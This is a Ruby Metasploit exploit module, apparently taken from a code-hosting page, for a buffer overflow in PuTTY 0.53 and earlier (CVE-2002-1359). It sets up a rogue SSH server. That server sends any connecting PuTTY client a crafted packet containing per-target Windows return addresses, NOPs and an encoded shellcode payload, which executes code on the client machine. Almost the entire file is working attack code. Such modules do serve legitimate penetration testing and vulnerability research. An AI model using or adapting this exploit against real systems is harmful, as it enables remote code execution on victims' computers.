78 lines
2.4 KiB
Ruby
78 lines
2.4 KiB
Ruby
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module Msf
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class Exploits::Windows::Ssh::PuttyMsgDebug < Exploit::Remote
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include Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the PuTTY SSH client that is triggered
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through a validation error in SSH.c.
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},
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'Author' => 'y0 [at] w00t-shell.net',
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 1.0 $',
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'References' =>
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[
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[ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
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[ 'CVE', '2002-1359' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00",
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'MaxNops' => 0,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
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[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],
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[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'December 16 2002',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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buffer =
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"SSH-2.0-OpenSSH_3.6.1p2\r\n" +
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"\x00\x00\x4e\xec\x01\x14" +
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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"\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +
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(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +
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(((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +
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[target.ret].pack('V') + make_nops(10) + p.encoded +
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(((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
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(((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
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(((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
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(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +
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"\x00\x00\x00\x00\x00\x00"
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print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
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client.put(buffer)
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handler
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service.close_client(client)
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end
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end
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end
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